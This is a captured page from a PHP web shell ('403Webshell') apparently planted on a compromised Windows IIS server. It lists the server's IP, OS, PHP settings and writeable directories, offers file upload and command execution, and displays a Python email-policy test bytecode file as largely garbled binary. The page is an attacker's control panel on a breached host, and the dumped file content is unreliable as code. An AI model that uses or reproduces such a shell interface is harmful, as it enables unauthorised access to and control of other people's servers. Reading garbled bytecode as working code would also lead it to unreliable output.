403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_email/__pycache__/test_policy.cpython-313.pyc
�

��iDF��"�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	rSSKJ
r
 Sr"SS\R5r
"SS\5r"SS	\R5r"S
S\R5r\S:Xa\R&"5 gg)
�N)�headerregistryc�H�UR5nURU5 U$�N)�copy�update)�
base_defaults�differences�defaultss   �0C:\Python313\\Lib\test\test_email\test_policy.py�
make_defaultsrs!���!�!�#�H��O�O�K� ��O�c��\rSrSrSrSSSSSSSS.r\R
5r\RSS\	RRRS	\	RRRS\	RRS
.5 \	RR5r\	RR"\"\05\	RR&\"\05\	RR(\"\SS05\	RR*\"\SSS
.5\	RR,\"\SSS.5\	RR.\"\SS05\\"\050r\R\\S'SrSrSrSrSrSrSrSr Sr!Sr""SS5r#"SS\$5r%Sr&S r'"S!S"\	RR5r(S#r)S$r*S%r+"S&S'5r,S(r-S)r.S*r/S+r0S,r1S-r2S.r3S/r4g)0�PolicyAPITests�T�N�
�8bitFN)�max_line_length�linesep�cte_type�raise_on_defect�mangle_from_�message_factory�verify_generated_headers�long)�utf8r�header_factory�
refold_source�content_managerrrrz
)rr)rrrrc
�&�URR5HaupUR5HHup4URXS9 UR[	X5USRU55 SSS5 MJ Mc g!,(df   M`=f)N��policy�attrz2change {} docs/docstrings if defaults have changed)�policies�items�subTest�assertEqual�getattr�format)�selfr"�expectedr#�values     r�
test_defaults�PolicyAPITests.test_defaultsCsq�� $�
�
� 3� 3� 5��F�'�~�~�/����\�\��\�;��$�$�W�V�%:�E�&.�/5�v�f�~�?�<�;� 0�!6�;�;�s�,B�
Bc
���URR5H�up[U5H�nURXS9 UR	S5(dA[[
[RRU5[R5(aSSS5 MuURX2SRU55 SSS5 M� M� g!,(df   M�=f)Nr!�_z{} is not fully tested)r$r%�dirr&�
startswith�
isinstancer(�emailr"�EmailPolicy�types�FunctionType�assertInr))r*r"r+r#s    r�test_all_attributes_covered�*PolicyAPITests.test_all_attributes_coveredKs��� $�
�
� 3� 3� 5��F��F����\�\��\�;�����,�,�&�w�u�|�|�/G�/G��'N�"'�"4�"4�6�6� �	<�;��
�
�d�&>�&E�&E�d�&K�M�
<�;�$�!6�;�;�s�AC� !C�
C"c��UR[5n[RR	5 SSS5 [WR5nSnUHnURXB5 M g!,(df   N@=f)N)�fold�fold_binary�header_fetch_parse�header_source_parse�header_store_parse)�assertRaises�	TypeErrorr4r"�Policy�str�	exceptionr8)r*�cm�msg�abstract_methods�methods     r�test_abc�PolicyAPITests.test_abcWs^��
�
�
�y�
)�R��L�L���!�*��"�,�,���2��
'�F��M�M�&�&�'�*�
)�s�A/�/
A=c�L�URR5HbupUH1nUR[US-5 [	XS5 SSS5 M3 UR[S5 SUlSSS5 Md g!,(df   Mo=f!,(df   M�=f)Nz.*read-onlyzno attribute.*foo)r$r%�assertRaisesRegex�AttributeError�setattr�foo)r*r"r
r#s    r�test_policy_is_immutable�'PolicyAPITests.test_policy_is_immutablecs�� $�
�
� 3� 3� 5��F� ���+�+�N�D��<N�O��F�$�/�P�O�!��'�'��8K�L�!��
�M�L�	!6�O�O��L�L�s�
B�-B�
B�
B#	c���URR5HLupUVs0sHo3S_M nnUR"S0UD6nUHnUR[	XS55 M MN gs snf)N�)r$r%�clone�assertIsNoner()r*�policyclassr
r#�testattrdictr"s      r�!test_set_policy_attrs_when_cloned�0PolicyAPITests.test_set_policy_attrs_when_clonedksg��&*�]�]�%8�%8�%:�!�K�3;�<�8�4�$�J�8�L�<� �&�&�6��6�F� ���!�!�'�&�"7�8�!�&;��<s�A,c��URHKnUR[5 U"SS9 SSS5 UR[5 U"SS9 SSS5 MM g!,(df   N7=f!,(df   Mp=f)N)� this_keyword_should_not_be_valid)�newtline)r$rArB)r*rWs  r�*test_reject_non_policy_keyword_when_called�9PolicyAPITests.test_reject_non_policy_keyword_when_calledtsW���=�=�K��"�"�9�-��T�B�.��"�"�9�-��T�*�.�-�)�-�-��-�-�s�A�	A.�
A+	�.
A=	c��URR5n[RRRSS9n[RRRSS9nX#-nUR
SS9 UR5H upVUR[XE5U5 M" X2-nUR
SS9 UR5H upVUR[XE5U5 M" U[RR-nUR5H upVUR[XE5U5 M" g)N�d�r�2)
�policy_defaultsrr4r"�defaultrUrr%r'r()r*r+�p1�p2�addedr#r,s       r�test_policy_addition�#PolicyAPITests.test_policy_addition{s���'�'�,�,�.��
�\�\�
!�
!�
'�
'��
'�
<��
�\�\�
!�
!�
'�
'��
'�
;����������+�#�>�>�+�K�D����W�U�1�5�9�,���������,�#�>�>�+�K�D����W�U�1�5�9�,�����,�,�,��#�>�>�+�K�D����W�U�1�5�9�,r
c��SnSn[RR5nSnXCS'[RRR5n[RRRSS9nUR
URSUS5U5 UR
URSUS5U5 UR
URSU5U5 UR
URSU5U5 g)N�Subject: =?utf-8?q?=C3=A1?=
uSubject: á
�á�SubjectT)r�r4�message�EmailMessager"rerUr'r<)r*�expected_ascii�
expected_utf8rG�s�p_ascii�p_utf8s       r�test_fold_utf8�PolicyAPITests.test_fold_utf8�s���8��'�
��m�m�(�(�*�����I���,�,�&�&�,�,�.�����%�%�+�+��+�6��������i��Y��@�.�Q�������Y��I��?��O�������i��3�^�D�������Y��2�M�Br
c�~�Sn[RR5nSUS'[RRRSS9n[RRRSS9nUR
URSUS5U5 UR
URSUS5U5 g)Nrlrmrnrrbro)r*r+rGrfrgs     r�test_fold_zero_max_line_length�-PolicyAPITests.test_fold_zero_max_line_length�s���2���m�m�(�(�*����I��
�\�\�
!�
!�
'�
'��
'�
:��
�\�\�
!�
!�
'�
'��
'�
=���������C�	�N�;�X�F��������C�	�N�;�X�Fr
c�B�"SS5nU"5n[5n[RR5nUR	X#5 URURU/5 [5nUR	X%5 URURX5/5 g)Nc��\rSrSrSrSrg)�2PolicyAPITests.test_register_defect.<locals>.Dummy�c��/Ulgr��defects�r*s r�__init__�;PolicyAPITests.test_register_defect.<locals>.Dummy.__init__�s	��!��r
r�N��__name__�
__module__�__qualname__�__firstlineno__r��__static_attributes__rTr
r�Dummyr~�s��
"r
r�)�objectr4r"r5�register_defectr'r�)r*r��obj�defectr"�defect2s      r�test_register_defect�#PolicyAPITests.test_register_defect�s~��	"�	"��g��������)�)�+�����s�+�������v�h�/��(�����s�,�������v�&7�8r
c��\rSrSrSrSrg)�PolicyAPITests.MyObj�c��/Ulgrr�r�s rr��PolicyAPITests.MyObj.__init__�s	���D�Lr
r�Nr�rTr
r�MyObjr��s��	r
r�c��\rSrSrSrg)�PolicyAPITests.MyDefect�rTN�r�r�r�r�r�rTr
r�MyDefectr��s��r
r�c��UR5nURS5nURURS5 [RR
R
X5 SSS5 g!,(df   g=f)N�the telly is broken)r�r�rMr4r"�strict�
handle_defect�r*rPr�s   r�#test_handle_defect_raises_on_strict�2PolicyAPITests.test_handle_defect_raises_on_strict�sV���j�j�l�����4�5��
�
#�
#�D�M�M�3H�
I��L�L���-�-�c�:�J�
I�
I�s�*A1�1
A?c��UR5nURS5n[RRRX5 UR
URU/5 URS5n[RRRX5 UR
URX#/5 g�N�one�two)r�r�r4r"rer�r'r�)r*rP�defect1r�s    r�#test_handle_defect_registers_defect�2PolicyAPITests.test_handle_defect_registers_defect�s����j�j�l���-�-��&��
�����*�*�3�8�������w�i�0��-�-��&��
�����*�*�3�8�������w�&8�9r
c�2^�\rSrSrSrU4SjrSrSrU=r$)�PolicyAPITests.MyPolicy��Nc�*>�[TU]"US/0UD6 g)Nr�)�superr�)r*�args�kw�	__class__s   �rr�� PolicyAPITests.MyPolicy.__init__�s����G��d�5�B�5�"�5r
c�:�URRU5 gr)r��append)r*r�r�s   rr��'PolicyAPITests.MyPolicy.register_defect�s���L�L����'r
rT)	r�r�r�r�r�r�r�r��
__classcell__)r�s@r�MyPolicyr��s�����	6�	(�	(r
r�c���UR5nURS5nURURS5 URSS9R	X5 SSS5 g!,(df   g=f)Nr�T)r)r�r�rMr�r�r�s   r�,test_overridden_register_defect_still_raises�;PolicyAPITests.test_overridden_register_defect_still_raises�sW���j�j�l�����4�5��
�
#�
#�D�M�M�3H�
I��M�M�$�M�/�=�=�c�J�J�
I�
I�s�A&�&
A4c��UR5nURS5nUR5nURX5 UR	UR
U/5 UR	UR
/5 URS5nURX5 UR	UR
X$/5 UR	UR
/5 gr�)r�r�r�r�r'r�)r*rPr��	my_policyr�s     r�%test_overridden_register_defect_works�4PolicyAPITests.test_overridden_register_defect_works�s����j�j�l���-�-��&���M�M�O�	�����-�����*�*�W�I�6�������b�)��-�-��&������-�����*�*�W�,>�?�������b�)r
c��[RRRSS5nUR	UR
S5 UR
U[R5 UR
U[R5 g)N�Test�test)
r4r"rerr'�name�assertIsInstancer�UnstructuredHeader�
BaseHeader)r*�hs  r�test_default_header_factory�*PolicyAPITests.test_default_header_factory�s^���L�L� � �/�/���?���������(����a��!B�!B�C����a��!:�!:�;r
c�@�\rSrSr\R
RrSrg)�PolicyAPITests.Foo��rTN)r�r�r�r�rr��parser�rTr
r�Foor��s���1�1�7�7�r
r�c��[RR5n[RR5nURR	SUR
5 URSS5nUR
X0R
5 URU[R5 URSS5nURX0R
5 UR
U[R5 g�NrPr�)
r4r"r5r�map_to_typer�r��assertNotIsInstancerr��r*�policy1�policy2r�s    r�$test_each_Policy_gets_unique_factory�3PolicyAPITests.test_each_Policy_gets_unique_factory�s����,�,�*�*�,���,�,�*�*�,�����*�*�5�$�(�(�;��"�"�5�&�1�����a���*�� � ��N�$E�$E�F��"�"�5�&�1��� � ��H�H�-����a��!B�!B�Cr
c�`�[RR5nUR5nURRSUR5 UR	SS5nURX0R5 UR	SS5nURX0R5 gr�)r4r"r5rUrr�r�r�r�s    r�test_clone_copies_factory�(PolicyAPITests.test_clone_copies_factory�s����,�,�*�*�,���-�-�/�����*�*�5�$�(�(�;��"�"�5�&�1�����a���*��"�"�5�&�1�����a���*r
c�<�[RR5nURnU[RR-nURURU5 [RRU-nURURU5 gr)r4r"r5rr�r')r*�mypolicy�	myfactory�	newpolicys    r�"test_new_factory_overrides_default�1PolicyAPITests.test_new_factory_overrides_defaultss���<�<�+�+�-���+�+�	��u�|�|�2�2�2�	�����1�1�9�=��L�L�'�'�(�2�	�����1�1�9�=r
c�&�[RR[RR-nUR	UR
[RRR
5 UR	URSS05 g)NrT)r4r"rer�r'rr5�__dict__)r*r�s  r�6test_adding_default_policies_preserves_default_factory�EPolicyAPITests.test_adding_default_policies_preserves_default_factory	sf���L�L�(�(�5�<�<�+>�+>�>�	�����1�1����1�1�@�@�	B�����+�+�.?��-F�Gr
c��[RRRSS9nUR	SS5nURUS5 g)N�rbrnuąąąąąąąąąąąąz�Subject:
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
 =?utf-8?q?=C4=85?=
)r4r"rerUr<r')r*r"�actuals   r�*test_non_ascii_chars_do_not_cause_inf_loop�9PolicyAPITests.test_non_ascii_chars_do_not_cause_inf_loopsE�����%�%�+�+�B�+�?�����Y�	�2������
)�	*r
c�f�SnSH�nURUS9 [RRR	US9nUR[RR5 URSU5 SSS5 SSS5 M� g!,(df   N=f!,(df   M�=f)Nz;Melt away the pounds with this one simple trick! 1234567890)���	)�maxlenrbrn)	r&r4r"rerUrA�errors�HeaderParseErrorr<)r*�subjectr�r"s    r�test_short_maxlen_error�&PolicyAPITests.test_short_maxlen_errors���P���F����V��,����-�-�3�3�F�3�K���&�&�u�|�|�'D�'D�E��K�K�	�7�3�F�-�,� �F�E��-�,�s$�AB!�(B�;B!�
B�B!�!
B0	c���[RRRSS9nSH�nUR	US9 [R
"SUS9n"SS[5nUS		U"U5US	'URUR5US
35 URUR5US
3R55 SSS5 M� g!,(df   M�=f)NF)r)zHeader: Value
Bad: Injection
zHeader: NoNewLine)�textzHeader: Value

Body�r"c��\rSrSrSrSrSrg)�CPolicyAPITests.test_verify_generated_headers.<locals>.LiteralHeaderi6�Headerc��U$rrT)r*�kwargss  rr<�HPolicyAPITests.test_verify_generated_headers.<locals>.LiteralHeader.fold8s��#�r
rTN)r�r�r�r�r�r<r�rTr
r�
LiteralHeaderr�6s��#�D�$r
r�r�z
Body)r4r"rerUr&�message_from_stringrDr'�	as_string�as_bytes�encode)r*r"r�rpr�s     r�test_verify_generated_headers�,PolicyAPITests.test_verify_generated_headers*s������%�%�+�+�U�+�K��
�D����4��(��3�3�/�!���$�C�$�
�H�%�$1�$�$7���!�� � ��%�%�'��f�F�O��� � ��$�$�&��f�F�O�*�*�,��#)�(�	
�)�(�s�BC�
C	rT)5r�r�r�r��longMessage�compat32_defaultsrrdrr4r"r5rrrprq�
new_policy�compat32rre�SMTP�SMTPUTF8�HTTPr�r$r-r9rJrQrYr^rirwrzr�r��	Exceptionr�r�r�r�r�r�r�r�r�r�r�r�r�r�rr�rTr
rrrs#���K�%'�$(�$*�$)�$(�$(�$(�
��(�,�,�.�O����$)�$)�$)�L�L�$<�$<�$K�$K�$*�$)�L�L�$<�$<�$L�$L�$)�$)�M�M�$>�$>�
�����)�)�+�J�
�����}�->��C�
�����m�O�R�@�
�����=��*3�V�)<�>�
�����}�_�9?�6:�.<� =�	�����=��5;�=A�*C�D�	�����]�?�,=�t�+D�F��M�/�2�6�
�H�".8�-F�-F�H�Z��)�*�?�
M�
'�"�9�+�:� C�"
G�9���
�9�
�;�:�(�5�<�<�+�+�(�K�
*�<�8�8�	D�+�>�H�*�4�&r
rc��\rSrSrSrg)�
TestExceptioniLrTNr�rTr
rrrLs��r
rc��\rSrSr"SS\R
R5rSrSr	Sr
SrSrS	r
SSjrSrS
rSrSrSrg
)�TestPolicyPropagationiOc�.�\rSrSrSr\=r=rr\=rr	Sr
g)�TestPolicyPropagation.MyPolicyiTc��[S5e)Nr�)r)r*r�r�s   r�	badmethod�(TestPolicyPropagation.MyPolicy.badmethodUs
����'�'r
rTN)r�r�r�r�rr<r=�header_fetch_parserr?r@r�rTr
rr�rTs#��	(�3<�<��<�{�0�3<�<��0r
r�c��UR[S5 [R"SURS9 SSS5 g!,(df   g=f)N�^test$�Subject: test

r�)rMrr4rr�r�s r�test_message_from_string�.TestPolicyPropagation.test_message_from_stringZs6��
�
#�
#�M�8�
<��%�%�&9�-1�]�]�
<�=�
<�
<��� A�
Ac��UR[S5 [R"SURS9 SSS5 g!,(df   g=f)Nr�Subject: test

r�)rMrr4�message_from_bytesr�r�s r�test_message_from_bytes�-TestPolicyPropagation.test_message_from_bytes_s6��
�
#�
#�M�8�
<��$�$�%9�,0�M�M�
;�=�
<�
<�rc���[R"S5nUR[S5 [R
"XRS9 SSS5 g!,(df   g=f)Nrrr�)�io�StringIOrMrr4�message_from_filer��r*�fs  r�test_message_from_file�,TestPolicyPropagation.test_message_from_fileds?���K�K�+�,��
�
#�
#�M�8�
<��#�#�A�m�m�<�=�
<�
<���A�
A#c���[R"S5nUR[S5 [R
"XRS9 SSS5 g!,(df   g=f)Nrrr�)r$�BytesIOrMrr4�message_from_binary_filer�r's  r�test_message_from_binary_file�3TestPolicyPropagation.test_message_from_binary_fileis?���J�J�+�,��
�
#�
#�M�8�
<��*�*�1�]�]�C�=�
<�
<�r+c���[RRURS9nUR	[
S5 UR
S5 SSS5 g!,(df   g=f)Nr�rr)r4�parser�Parserr�rMr�parsestr�r*�ps  r�test_parser�!TestPolicyPropagation.test_parserpsF���L�L���t�}�}��5��
�
#�
#�M�8�
<�
�J�J�*�+�=�
<�
<���A�
A'c���[RRURS9nUR	[
S5 UR
S5 SSS5 g!,(df   g=f)Nr�rr)r4r2�BytesParserr�rMr�
parsebytesr5s  r�test_bytes_parser�'TestPolicyPropagation.test_bytes_parserusF���L�L�$�$�D�M�M�$�:��
�
#�
#�M�8�
<�
�L�L�-�.�=�
<�
<�r9Nc��Uc([RRR5OUUl[R"XRS9$)Nr�)r4r"rerUr)r*�sourcer"s   r�	_make_msg�TestPolicyPropagation._make_msg~s7��6<�n�e�l�l�*�*�0�0�2�&����(�(����D�Dr
c�p�UR5nURURUR5 gr)rA�assertIsr"�r*rGs  r�(test_parser_propagates_policy_to_message�>TestPolicyPropagation.test_parser_propagates_policy_to_message�s$���n�n����
�
�c�j�j�$�+�+�.r
c���UR[R"S55nUR5H)nUR	UR
UR
5 M+ g)Na+            Subject: mime test
            MIME-Version: 1.0
            Content-Type: multipart/mixed, boundary="XXX"

            --XXX
            Content-Type: text/plain

            test
            --XXX
            Content-Type: text/plain

            test2
            --XXX--
            )rA�textwrap�dedent�walkrDr")r*rG�parts   r�-test_parser_propagates_policy_to_sub_messages�CTestPolicyPropagation.test_parser_propagates_policy_to_sub_messages�sH���n�n�X�_�_�.�����H�H�J�D��M�M�$�+�+�t�{�{�3�r
c�8�URS[RRR	SS9S9n[
R"5n[RRU5nURU5 URUR5S5 g�NzSubject: test
To: foo

�X)rr�zSubject: testXTo: fooXX)rAr4r"rerUr$r%�	generator�	Generator�flattenr'�getvalue)r*rGrt�gs    r�+test_message_policy_propagates_to_generator�ATestPolicyPropagation.test_message_policy_propagates_to_generator�su���n�n�9�$)�L�L�$8�$8�$>�$>�s�$>�$K��M���K�K�M���O�O�%�%�a�(��	�	�	�#���������'@�Ar
c��URS[RRR	SS9S9nURUR
5S5 grP)rAr4r"rerUr'rrEs  r�%test_message_policy_used_by_as_string�;TestPolicyPropagation.test_message_policy_used_by_as_string�sK���n�n�9�$)�L�L�$8�$8�$>�$>�s�$>�$K��M���������*C�Dr
r�)rN)r�r�r�r�r4r"rCr�rr!r)r/r7r=rArFrMrWrZr�rTr
rrrOsS��
=�5�<�<�&�&�=�<�
;�
=�
D�,�
/�E�/�4�&B�Er
rc��\rSrSrSrSrg)�TestConcretePoliciesi�c��[RR5nUR[UR
SS5 g)N�Fromzspam
egg@foo.py)r4r"r5rA�
ValueErrorr@)r*�instances  r�(test_header_store_parse_rejects_newlines�=TestConcretePolicies.test_header_store_parse_rejects_newlines�s3���<�<�+�+�-�����*�"�5�5� �"4�	6r
rTN)r�r�r�r�rbr�rTr
rr]r]�s��6r
r]�__main__)r$r6rI�unittest�email.errorsr4�email.policy�email.parser�email.generator�
email.messagerr�TestCaserr
rrr]r��mainrTr
r�<module>rms���	��������� ��
t�X�&�&�t�v		�I�	�UE�H�-�-�UE�p6�8�,�,�6��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit